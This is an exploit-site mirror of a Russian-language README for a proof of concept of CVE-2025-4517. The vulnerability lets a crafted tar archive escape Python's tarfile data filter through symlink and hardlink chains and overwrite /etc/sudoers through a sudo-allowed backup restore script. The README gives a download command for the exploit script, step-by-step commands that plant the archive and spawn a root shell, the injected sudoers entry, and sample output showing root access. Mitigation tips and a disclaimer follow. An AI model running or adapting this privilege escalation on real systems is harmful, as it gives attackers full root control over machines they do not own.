Sploitus

Exploit for CVE-2025-4517-POC

kitploit · 2026-08-31

Exploit Code

MARKDOWN323 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AZUREADTRENT-CVE-2025-4517-POC
# Эксплойт CVE-2025-4517

## ПРИМЕЧАНИЯ

Этот эксплойт и описание созданы ИИ. Если вы нашли ошибку или проблему, сообщите мне! Эксплойт был протестирован и подтверждён как работающий. Спасибо!

## Обзор

Этот эксплойт использует **CVE-2025-4517** — критическую уязвимость в модуле `tarfile` в Python, которая позволяет произвольную запись файлов через комбинацию обхода пути с помощью символических ссылок и манипуляции жёсткими ссылками. Это обходит защиту `filter="data"`, введённую в Python 3.12.

### Детали уязвимости

  * **CVE ID** : CVE-2025-4517
  * **Затронутые версии** : Python 3.8.0 – 3.13.1
  * **Оценка CVSS** : 9.3 (Critical)
  * **Воздействие** : Произвольная запись файлов с повышенными привилегиями



## Техническая информация

Уязвимость использует недостаток в обработке `tarfile.extractall()` при взаимодействии между:

  1. **Симлинками** — используются для обхода пути за пределы каталога извлечения
  2. **Жёсткими ссылками** — используются для обращения к файлам через обходной симлинковый путь
  3. **Обход фильтра** — параметр `filter="data"` блокирует прямой обход через симлинки, но техника с жёсткими ссылками обходит эту защиту



### Поток атаки

root@kitploit:~
    
    
    1. Создание глубоко вложенных каталогов (путаница пути)
       └─ Используются имена каталогов длиной 247 символов, повторённые 16 уровней в глубину
    
    2. Построение цепочки симлинков для обхода
       └─ Создаются симлинки, разрешающиеся вверх по дереву каталогов
    
    3. Обходной симлинк к целевому каталогу (/etc)
       └─ Финальный симлинк указывает за границу извлечения
    
    4. Создание жёсткой ссылки, указывающей через обходной симлинк
       └─ Жёсткая ссылка: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
    
    5. Запись содержимого в жёсткую ссылку
       └─ Запись в "sudoers_link" фактически записывает в /etc/sudoers
    

### Уязвимый компонент

**Скрипт** : `/opt/backup_clients/restore_backup_clients.py`

root@kitploit:~
    
    
    # Уязвимый фрагмент кода
    with tarfile.open(backup_path, "r") as tar:
        tar.extractall(path=staging_dir, filter="data")
    

**Привилегии sudo** :

root@kitploit:~
    
    
    wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
    

### Детали системы

  * **Версия Python** : 3.12.3 (Уязвима к CVE-2025-4517)



## Использование

### Предварительные требования

  * Доступ пользователя с правами sudo для уязвимого скрипта
  * Право на запись в `/opt/backup_clients/backups/`
  * Python 3 на атакующей машине



### Установка

root@kitploit:~
    
    
    # Загрузка эксплойта
    wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
    # Перемещение на целевую систему
    

### Базовое выполнение

root@kitploit:~
    
    
    # Запуск эксплойта
    ./exploit.py
    
    # Или через Python
    python3 exploit.py
    

### Пошаговая ручная инструкция

Если вы предпочитаете выполнять каждый шаг вручную:

root@kitploit:~
    
    
    # 1. Создание tar-архива эксплойта
    python3 exploit.py --create-only
    
    # 2. Развёртывание на цели
    cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar
    
    # 3. Выполнение через уязвимый скрипт
    sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
      -b backup_9999.tar \
      -r restore_exploit
    
    # 4. Проверка модификации sudoers
    sudo cat /etc/sudoers | grep "$(whoami)"
    
    # 5. Получение root
    sudo /bin/bash
    

## Пример вывода

root@kitploit:~
    
    
    ╔═══════════════════════════════════════════════════════════╗
    ║     CVE-2025-4517 Tarfile Exploit                         ║
    ║     Privilege Escalation via Symlink + Hardlink Bypass    ║
    ╚═══════════════════════════════════════════════════════════╝
    
    [*] Целевой пользователь: wacky
    [*] Создание tar-архива эксплойта для пользователя: wacky
    [*] Фаза 1: Построение вложенной структуры каталогов...
    [*] Фаза 2: Создание цепочки симлинков для обхода пути...
    [*] Фаза 3: Создание обходного симлинка для /etc...
    [*] Фаза 4: Создание жёсткой ссылки на /etc/sudoers...
    [*] Фаза 5: Запись записи в sudoers...
    [+] Tar-архив эксплойта создан: /tmp/cve_2025_4517_exploit.tar
    [*] Развёртывание эксплойта в: /opt/backup_clients/backups/backup_9999.tar
    [+] Эксплойт успешно развёрнут
    [*] Запуск извлечения через уязвимый скрипт...
    [+] Резервная копия: backup_9999.tar
    [+] Промежуточный каталог: /opt/backup_clients/restored_backups/restore_pwn_9999
    [+] Извлечение завершено в /opt/backup_clients/restored_backups/restore_pwn_9999
    [+] Извлечение завершено
    [*] Проверка успешности эксплойта...
    [+] УСПЕХ! Пользователь 'wacky' добавлен в sudoers
    [+] Запись: wacky ALL=(ALL) NOPASSWD: ALL
    
    ============================================================
    [+] ЭКСПЛУАТАЦИЯ УСПЕШНА!
    [+] Пользователь 'wacky' теперь имеет полные привилегии sudo
    [+] Получить root: sudo /bin/bash
    ============================================================
    
    [?] Запустить root-оболочку сейчас? (y/n): y
    [*] Запуск root-оболочки...
    [*] Выполните: sudo /bin/bash
    
    root@box:/tmp# whoami
    root
    root@box:/tmp# id
    uid=0(root) gid=0(root) groups=0(root)
    

## Поток Proof of Concept

### Этап 1: Начальный доступ

  * Доступ к пользователю



### Этап 2: Повышение привилегий (данный эксплойт)

  * Определение прав sudo на скрипт восстановления резервных копий
  * Распознавание версии Python, уязвимой к CVE-2025-4517
  * Развёртывание tar-эксплойта для изменения /etc/sudoers
  * Получение root-доступа



## Меры по смягчению

### Для разработчиков Python

  1. **Обновление Python** : Обновитесь до Python 3.13.2+ или примените патчи безопасности



root@kitploit:~
    
    
       python3 --version  # Проверка версии
    

  2. **Дополнительная проверка** : Внедрите строгую проверку содержимого tar



root@kitploit:~
    
    
       # Проверка подозрительных членов архива перед извлечением
       for member in tar.getmembers():
           if member.islnk() or member.issym():
               raise SecurityError("Симлинки/жёсткие ссылки не разрешены")
    

  3. **Ограничение путей извлечения** : Убедитесь, что все извлечённые файлы остаются в допустимых границах



root@kitploit:~
    
    
       import os
       for member in tar.getmembers():
           member_path = os.path.join(extract_path, member.name)
           if not member_path.startswith(os.path.abspath(extract_path)):
               raise SecurityError("Обнаружен обход пути")
    

### Для системных администраторов

  1. **Ограничение доступа sudo** : Минимизируйте количество скриптов, которые могут запускаться от root



root@kitploit:~
    
    
       # Удалить или ограничить sudo-доступ к скрипту резервного копирования
       visudo
    

  2. **Проверка входных данных** : Проверяйте tar-архивы перед обработкой



root@kitploit:~
    
    
       # Проверка содержимого tar до извлечения
       tar -tzf archive.tar | grep -E '\.\./|^/'
    

  3. **Мониторинг целостности файлов** : Отслеживайте критические файлы, такие как /etc/sudoers



root@kitploit:~
    
    
       # Настройка AIDE или аналогичной IDS
       aide --check
    

  4. **AppArmor/SELinux** : Внедрите обязательный контроль доступа



## Ссылки

### Информация о CVE

  * CVE-2025-4517 - NVD
  * CVE-2025-4138 - Связанная уязвимость
  * Бюллетень безопасности Python



### Исследования и отчёты

  * Бюллетень безопасности Linux
  * Исследование Google Security - GHSA-hgqp-3mmf-7h8f



### Публичные PoC

  * DesertDemons CVE-2025-4138-4517-POC
  * StealthByte CVE-2025-4517-poc
  * AnimePrincess420 PoC



## Юридическое предупреждение

Этот эксплойт предоставляется **только в образовательных целях** и предназначен для использования в:

  * Авторизованных тестах на проникновение
  * Соревнованиях Capture The Flag (CTF), таких как HackTheBox
  * Исследованиях безопасности в контролируемых средах
  * Раскрытии уязвимостей и разработке исправлений



Автор(ы) не несут ответственности за неправомерное использование этого кода.

**Оригинальное исследование** : Множество исследователей безопасности (см. Ссылки)

## Лицензия

Лицензия MIT - подробнее см. в файле LICENSE

* * *

**Последнее обновление** : Март 2026